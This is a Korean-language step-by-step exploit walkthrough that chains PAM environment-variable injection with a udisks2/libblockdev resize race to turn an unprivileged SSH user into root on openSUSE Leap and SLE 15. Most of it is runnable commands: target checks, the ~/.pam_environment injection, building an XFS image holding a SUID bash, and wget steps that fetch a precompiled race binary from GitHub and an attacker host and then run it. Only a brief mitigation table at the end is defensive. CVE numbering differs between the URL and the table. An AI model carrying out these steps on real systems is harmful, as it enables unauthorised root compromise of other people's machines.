
SUSE Linux에서 로컬 권한 상승을 위한 익스플로잇 체인으로, PAM 환경 변수 주입과 udisks2 경쟁 조건을 연계하여 루트 셸을 획득합니다.
대상 OS: openSUSE Leap 15.x / SUSE Linux Enterprise 15.x
필요한 접근 권한: SSH 접근이 가능한 비특권 로컬 사용자
결과: 전체 루트 셸
이 문서는 Qualys 위협 연구 부서가 발견한 두 개의 연쇄된 로컬 권한 상승 취약점의 수동 익스플로잇을 상세히 설명합니다:
~/.pam_environment를 통한 PAM 환경 변수 주입으로, 원격 SSH 사용자가 일반적으로 물리적으로 콘솔에 있는 사용자에게만 부여되는 allow_active Polkit 상태를 획득할 수 있습니다.udisks2에서 사용하는 libblockdev가 Filesystem.Resize D-Bus 작업 중 파일시스템을 임시로 마운트할 때 nosuid 플래그를 적용하지 않아, 사용자가 제어하는 루프 디바이스에서 SUID 바이너리를 실행할 수 있습니다.이러한 취약점을 연쇄적으로 사용하면 다른 사용자의 상호작용 없이도 모든 비특권 SSH 사용자가 루트로 권한을 상승시킬 수 있습니다.
공격자 머신 (Kali Linux):
xfsprogs 설치 (sudo apt install xfsprogs -y)gcc 사용 가능python3 -m http.server)대상 머신:
udisks2 및 polkit 설치 (이 시스템에서는 기본값)gdbus 사용 가능 (glib2의 일부, 기본 설치됨)비특권 사용자로 SSH 접근을 획득한 후, 대상이 취약한지 확인합니다.
OS 확인:
cat /etc/os-release | grep -E "NAME|VERSION"
시스템은 openSUSE Leap 15.x 또는 SUSE Linux Enterprise 15.x여야 합니다.
pam_env가 사용자 파일을 읽는지 확인:
grep "pam_env" /etc/pam.d/common-auth
user_readenv=1 또는 단순히 pam_env.so의 존재를 확인합니다. 기본 SUSE 설치에서는 이 기능이 활성화되어 있습니다.
udisks2 및 polkit이 실행 중인지 확인:
systemctl is-active udisks2
systemctl is-active polkit
루프 디바이스 설정에 대한 Polkit 정책 확인:
grep -A3 "loop-setup" /usr/share/polkit-1/actions/org.freedesktop.UDisks2.policy
allow_active 값은 yes여야 합니다.
allow_active 획득이 취약점은 pam_env.so가 SSH 로그인 중 ~/.pam_environment를 읽고 pam_systemd.so가 세션 컨텍스트를 평가하기 전에 해당 변수를 세션 환경에 주입한다는 사실을 악용합니다. XDG_SEAT 및 XDG_VTNR을 설정함으로써 공격자는 systemd-logind가 원격 SSH 세션을 물리적 콘솔 세션으로 취급하도록 속여 allow_active Polkit 권한을 부여받습니다.
변수 주입:
echo "XDG_SEAT DEFAULT=seat0" > ~/.pam_environment
echo "XDG_VTNR DEFAULT=1" >> ~/.pam_environment
echo "XDG_SESSION_TYPE DEFAULT=x11" >> ~/.pam_environment
로그아웃 후 SSH로 재연결하여 PAM 처리를 트리거:
exit
ssh user@<target_ip>
이제 allow_active가 부여되었는지 확인:
loginctl list-sessions
loginctl show-session <SESSION_ID> | grep -E "Active|Seat|VTNr|Remote"
출력은 다음을 보여야 합니다:
Active=yes
Seat=seat0
VTNr=1
자동으로 채워지지 않은 경우 세션 ID 및 D-Bus 주소 설정:
export XDG_SESSION_ID=<SESSION_ID>
export DBUS_SESSION_BUS_ADDRESS=unix:path=/run/user/<UID>/bus
XFS 이미지는 SUSE 15 커널과 호환되는 기능으로 포맷되어야 합니다. 최신 버전의 xfsprogs는 기본적으로 exchange, parent, bigtime, inobtcount, nrext64와 같은 기능을 활성화하는데, 이는 이전 SUSE 커널에서 지원되지 않아 마운트 실패를 초래합니다. 다음 플래그는 호환 가능한 V5 XFS 이미지를 생성합니다:
dd if=/dev/zero of=/tmp/xfs.image bs=1M count=500
mkfs.xfs -f -m crc=1,reflink=0,rmapbt=0,inobtcount=0,bigtime=0 -i sparse=0,nrext64=0,exchange=0 -n parent=0 -d agcount=4 /tmp/xfs.image
이미지를 마운트하고 SUID bash 바이너리 주입:
sudo mkdir -p /tmp/mnt
sudo mount -o loop /tmp/xfs.image /tmp/mnt
sudo cp /bin/bash /tmp/mnt/bash
sudo chmod 4755 /tmp/mnt/bash
ls -la /tmp/mnt/bash
sudo umount /tmp/mnt
출력은 -rwsr-xr-x 1 root root를 보여야 합니다.
Filesystem.Resize 중 취약한 마운트 창은 단 몇 밀리초에 불과하므로, 이를 안정적으로 포착하려면 컴파일된 C 바이너리가 필요합니다. 순수 Bash 루프는 너무 느립니다.
릴리스 페이지에서 사전 컴파일된 페이로드를 다운로드합니다:
wget https://github.com/m0r4a/CVE-2026-6018-9-Local-Privilege-Escalation-Chain/releases/download/v0.0.1/payload -O /tmp/payload
[!NOTE] 바이너리를 직접 컴파일할 수도 있습니다. 소스 코드는 payload.c에서 확인할 수 있습니다.
두 파일을 HTTP로 서빙:
cd /tmp && python3 -m http.server 8888
# XFS 이미지 전송
wget http://<attacker_ip>:8888/xfs.image -O /tmp/xfs.image
# 캐처 바이너리 전송
wget http://<attacker_ip>:8888/payload -O /tmp/payload
chmod +x /tmp/payload
이 단계에서는 대상에 대한 두 개의 동시 SSH 세션이 필요합니다.
루프 디바이스 설정 (두 세션 중 하나):
udisksctl loop-setup -f /tmp/xfs.image --no-user-interaction
할당된 루프 디바이스를 확인합니다 (예: /dev/loop1).
세션 1: 캐처를 시작하고 계속 실행:
/tmp/payload
[!NOTE] 캐처가 루트 셸을 생성하지 않고 즉시 종료되면, 루프 디바이스를 설정하기 전에 캐처를 시작하고 시퀀스를 반복해 보세요.
세션 2: 즉시 리사이즈 트리거:
export DBUS_SESSION_BUS_ADDRESS=unix:path=/run/user/<UID>/bus
gdbus call --system --dest org.freedesktop.UDisks2 --object-path /org/freedesktop/UDisks2/block_devices/loop1 --method org.freedesktop.UDisks2.Filesystem.Resize 0 "{}"
Resize 호출은 오류를 반환하지만, 실패하기 전에 libblockdev는 /tmp/blockdev.XXXXXX/ 아래의 임시 경로에 nosuid 플래그 없이 파일시스템을 마운트합니다. 세션 1의 캐처는 이 마운트를 감지하고, 내부의 SUID bash 바이너리를 실행하여 루트 셸을 /tmp/rootbash로 복사한 후 실행합니다.
[!NOTE]
Not authorized to perform operation문제가 발생하면udiskctl loop-setup...명령을 성공적으로 실행한 터미널을 사용하고, 다른 셸에서/tmp/payload스크립트를 실행해 보세요.
캐처가 완료되면 루트 셸이 자동으로 실행되거나 다음을 통해 획득할 수 있습니다:
/tmp/rootbash -p
whoami
# root
| 구성 요소 | 수정 |
|---|
| CVE-2025-6018 | PAM에서 user_readenv 비활성화: /etc/pam.d/common-auth에서 user_readenv=0 설정 |
| CVE-2025-6019 | 배포판 공급업체의 패치된 버전으로 libblockdev 및 udisks2 업데이트 |
| Polkit 강화 | UDisks2 정책 파일에서 org.freedesktop.udisks2.loop-setup의 allow_active를 auth_admin으로 변경 |